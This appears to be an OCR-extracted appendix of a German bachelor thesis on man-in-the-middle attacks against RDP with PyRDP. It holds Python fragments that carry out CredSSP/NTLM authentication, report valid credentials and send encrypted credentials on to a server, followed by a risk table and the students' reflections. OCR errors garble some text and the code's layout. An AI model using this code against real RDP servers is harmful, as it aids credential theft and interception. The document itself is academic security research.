cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
signature, cripted_key = cipher.clientEncrypt(h2.digest())
ts_request['NegoData'] = type3.getData()
ts_request['clientNonce']=clientNonce

ts_request['pubKeyAuth'] = signature.getData() + cripted_key

try:

tls.send(ts_request.getData())
buff = tls.recv(1024)
except Exception as err:
if str(err).find("denied") > 0:
logging.error("Access Denied")
else:
print(err)

return
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Schritt 4: Uberpriifung der Public Key-Signatur des Servers

try :

ts_request = TSRequest(buff)

signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'])
if username != " and password != "":
print "Found valid credentials: " +username+":"+password

except Exception as err:

return 0

Schritt 5: Senden der verschliisselten Anmeldeinformationen an den Server

if connect == True:
tsp = TSPasswordCreds()
tsp['userName'] = username
tsp['password'] = password
tsc = TSCredentials()
tsc['credType'] = 1
tsc['credentials'] = tsp.getData()
signature, cripted_creds = cipher.clientEncrypt(tsc.getData())
ts_request = TSRequest()
ts_request['authinfo'] = signature.getData() + cripted_creds
tls.send(ts_request.getData())
print "Credentials sent"
return tls
else :

return 1
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Anhang H: Risikotabelle

R1

R2

R3

R4

Kommunikation

Komplexitat

Lernkurve

Ressourcenmang
el

Beschreibung

Ungenligende
Kommunikation zwischen
den Teammitgliedern
und/oder dem Betreuer.
Komplexitat der Arbeit ist
zu hoch.

Fehlendes Vorwissen
zum Thema oder
unzureichende
Kenntnisse in Umgang
mit Tools.

Es stehen keine
ausreichenden
Ressourcen (Hardware &
Software) zur Verfiigung.

max.
Schade
n [h]

63

42

126

21

Eintritt
swahrs

cheinlic
hkeit

10%

80%

45%

5%

122

Gewichtet
er
Schaden

6.3

33.6

56.7

1.05

Vorbeugung

Wodchentliche
Team- und Review-
Meetings
durchfihren.
Weiteres Vorgehen
in den
wochentlichen
Review-Meetings
mit Betreuer
besprechen und
planen.

Wissen und
Kenntnisse in der
Elaboration-Phase
aufbauen.

Frihzeitig die
bendtigen
Ressourcen
beantragen.

Verhalten beim Eintreten

Zusatzliche Kommunikation
(Mail, Meeting, etc.) planen und
durchfihren.

Schwierigkeiten und
Unklarheiten mit Betreuer
besprechen.

Teammitglieder sind
gezwungen das notige Wissen
anzueignen. Bei grosseren
Unklarheiten Betreuer
einbeziehen.

Nach alternativen Ressourcen
oder Ausfliihrmoglichkeiten
umsehen.




R5 Ausfall externer Ausfall von externen 21 5% 1.05 Alle Daten Daten aus dem Backup
Komponente Komponenten (GitLab, zusatzlich lokal wiederherstellen. Lokale
Dropbox, Virtueller sichern (inkl. virtuelle Maschinen aufsetzen
Server, Netzwerk) inkrementelle und verwenden.
Datensicherung).
R6 Umsetzbarkeit Die Aufgabenstellung ist | 126 25% 315 Umsetzbarkeit der Mit Betreuer absprechen.
der nicht umsetzbar. Aufgabe wird in der
Aufgabenstellung Elaboration-Phase
genau untersuchen.
R7 Ungenaue Ungenaue 20 35% 7 Alle offenen Issues | Zeitliche Planung des Projektes
Aufwandschatzun | Aufwandschatzungen wochentlich anpassen.
g fihren zu Problem Uberprifen und neu
bezlglich Termine. schatzen.
R8 Installation & Verzégerungen/Schwieri | 42 50% 21 Installationen Fur Hilfestellung an Betreuer
Integration gkeiten beim Aufbau von anhand Anleitung wenden.
Hard- und Software. durchfihren.
Erschwerte/Unmdgliche Integrationen
Integration in das gemass Best-
existierende Tool. Practices
durchfihren.

R9 Ausfall Personal Teammitglied oder 21 15% 3.15 Falls Abwesenheit Reserve-Zeit nutzen und
Betreuer ist aus frihzeitig bekannt zeitliche Planung der Aufgaben
gesundheitlichen oder ist, weiter Vorgehen | neu erstellen.
anderen Griinden vorplanen.
abwesend. Genugend Reserve-

Zeit einplanen.

Summe 461 158.2

Tabelle 12: Risikotabelle




20  Anhang I: Fehlermeldung CredSSP Authentifizierung Implementierung

dp-man-in-the-middle

ntlm auth
T questPDU{’

sent

Abbildung 51: Fehlermeldung CredSSP Authentifizierung Implementierung (Eigene Darstellung)
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21 Anhang J: Persdnliche Reflexion

21.1 Kevin Moro

Fir meine Kollegen und mich war das Thema RDP Man-in-the-Middle unbekanntes Terrain, da
wir bisher wenig im Bereich Informationssicherheit gemacht haben. Trotzdem war dieses
Thema fiir uns bei der Auswahl des Bachelorarbeitsthema der Favorit. Wir haben uns auch
entsprechend gefreut, als wir dann dieses Thema bekommen haben.

Der Start in die Bachelorarbeit war etwas schwierig, da wir noch keine Erfahrungen gemacht
haben mit diesem Typ von Arbeit und auch keine Erfahrungen in diesem Fachgebiet hatten.
Unser Betreuer hat uns dann geholfen, ins Thema einzusteigen und hat uns gut unterstutzt.
Das hat sehr geholfen, um uns in das Thema einzuarbeiten und auch um das Vorgehen zu
planen.

Die Herangehensweise an dieses Projekt unterscheidet sich stark von Projekten, die wir bisher
gemacht haben. Wir mussten uns am Anfang sehr stark in das Thema einlesen, da wir einerseits
noch kein Wissen Uber die Thematik hatten und andererseits ist dieses Thema auch sehr
umfangreich. Diese Analyse hat einen grossen Teil unserer Arbeit eingenommen und das war
fur uns neu, da wir sonst die meiste Zeit in einem Projekt mit der Implementierung verbracht
haben.

Das war aber eine interessante Erfahrung, ein Projekt zu machen, indem es nicht nur um die
Entwicklung geht, sondern vor allem um die Forschung/Analyse, aber auch das Element des
Entwickelns beinhaltete.

Als wir dann durch die Analyse festgestellt haben, dass der Man-in-the-Middle, so wie in der
Aufgabenstellung beschrieben, nicht funktioniert, hatten wir fir eine kurze Zeit eine
Ungewissheit, wie es mit der Arbeit weitergehen soll. Jedoch konnten wir schnell einen anderen
Ansatz fir einen Man-in-the-Middle Angriff finden und nach Absprache mit unserem Betreuer
konnten wir mit diesem Ansatz weiterfahren.

Die Arbeit mit Danusan Premananthan und Aynkaran Sundralingam war flir mich stehts positiv
und wir haben uns immer gut verstanden. Unklarheiten konnten schnell beseitigt werden mit

Meetings Uber Microsoft Teams oder vor Ort am Campus in Rapperswil.

Diese Bachelorarbeit war fiir mich eine interessante Erfahrung und ich konnte dadurch mein
Wissen in diesem Bereich sehr vertiefen.

Ich bin mit unserer Bachelorarbeit zufrieden, auch wenn wir einen Teil der Implementation
leider nicht fertigstellen konnten. Sonst haben wir jedoch alle Aufgaben erfullt.
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21.2 Danusan Premananthan

Das Thema RDP Man-in-the-Middle war fir meine Kollegen und mich Neuland, jedoch waren
wir neugierig und bereit, diese Herausforderung anzugehen. Trotz einiger Schwierigkeiten und
mangelnder Erfahrung mit diesem Thema, denke ich, dass die Bachelorarbeit gut gelaufen ist.
Da wir uns gut kannten und bereits andere grosse Aufgaben und Projekte gemeinsam
durchgefiihrt hatten, kannten wir die Schwachen und Starken des anderen und konnten die
Aufgaben entsprechend planen und verteilen.

Die Arbeit zwingt uns zu einer anderen Herangehensweise als wir es bei einem Projekt, bei dem
es nur um die Entwicklung einer Applikation geht, gewohnt waren. In den letzten Projekten
konnten wir immer friih eine Spezifikation und ein Konzept entwerfen. Diesmal brauchte es
erst eine Analyse und Wissensbeschaffung, bevor wir mit der Umsetzung starten konnten.

Bei der Implementierung des Proof of Concepts in PyRDP wurde zu Beginn grob in drei
Aufgaben unterteilt. Allerdings war die Implementierung im PyRDP-Projekt komplizierter als
urspringlich gedacht und konnte nur zwei der Implementierungsaufgaben abschliessen. Im
Nachhinein ware eine frihere Analyse von PyRDP Code hilfreich gewesen.

Die Zusammenarbeit mit Aynkaran Sundralingam und Kevin Moro war fir mich immer positiv
und es gab keine Interessenkonflikte. Zudem konnten Probleme und Anregungen schnell Gber
Microsoft Teams, Telefon oder am Campus in Rapperswil geklart werden.

Im Ganzen bin ich mit der Bachelorarbeit zufrieden. Am Ende konnten wir bis auf die

Implementierung des Layer Mappings alle Ziele der Aufgabenstellung erreichen und dabei das
Wissen in verschiedenen Gebieten erweitern.
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21.3 Aynkaran Sundralingam

Da ich mich personlich sehr fiir das Thema Informationssicherheit interessiere, war «<RDP Man-
in-the-Middle» fir mich von Anfang an ein Favorit bei der Auswahl der Themen fiir die
Bachelorarbeit. Da auch meine Kollegen, Kevin Moro und Danusan Premananthan, mit denen
ich schon mehrere Projekte erfolgreich durchgefiihrt habe, in diesem Semester ebenfalls im
Abschlusssemester sind und auch die Bachelorarbeit schreiben missen, war es fur mich klar,
dass auch diese abschliessende Arbeit gemeinsam absolviert wird. Die Zusammenarbeit und
die Durchflihrung der Bachelorarbeit hat auch diesmal gut funktioniert, da wir die Arbeitsweise
und die Starken sowie Schwachen des jeweils anderen bereits aus friiheren Projekten kannten.

Am Anfang der Arbeit standen wir jedoch vor einer grossen Herausforderung, da keiner von
uns wirklich Erfahrung in der Durchfilhrung einer Machbarkeitsanalyse zu einem
Informationssicherheitsthema und generell in diesem Fachgebiet hatte. Daher war die
Vorgehensweise bei dieser Arbeit zunachst unklar. Unser Betreuer, Cyrill Brunschwiler, hat uns
geholfen, in das Thema einzusteigen und hat uns ausreichende Unterstltzung geboten. Dies
ermoglichte es uns, schnell in das «fremde» Thema einzusteigen und das notwendige
Vorgehen fir diese Arbeit zu planen.

Es war eine interessante Erfahrung, ein Projekt in Angriff zu nehmen, dass sich nicht nur auf die
Entwicklung einer Applikation beschrankte, sondern auch ein hohes Mass an Analyse von uns
verlangte. Da wir durch die Machbarkeitsanalyse feststellen mussten, dass unser Vorhaben
gemass der Aufgabenstellung nicht umsetzbar war, herrschte flr kurze Zeit Ungewissheit, wie
die Arbeit weitergefiihrt werden sollte. Zu diesem Zeitpunkt hatten sie jedoch bereits genug
Wissen Uber das Thema erworben, um einen alternativen Ansatz zur Durchfliihrung des
Angriffes zu entwerfen. Obwohl wir die Implementierung eines Man-in-the-Middle (RDP
Enhanced Security NLA) Proof of Concept fir PyRDP aus Zeitgrinden nicht vollstandig
abschliessen konnten, bin ich zufrieden mit dem, was wir erreicht haben.

Diese Bachelorarbeit hat mir die Moglichkeit gegeben, mein Wissen in diesem Themenbereich

zu erweitern und erste Erfahrungen in der Herangehensweise an solche Aufgaben zu sammeln.
Durch diese Arbeit ist mein Interesse an diesem Themenbereich auf jeden Fall gestiegen.
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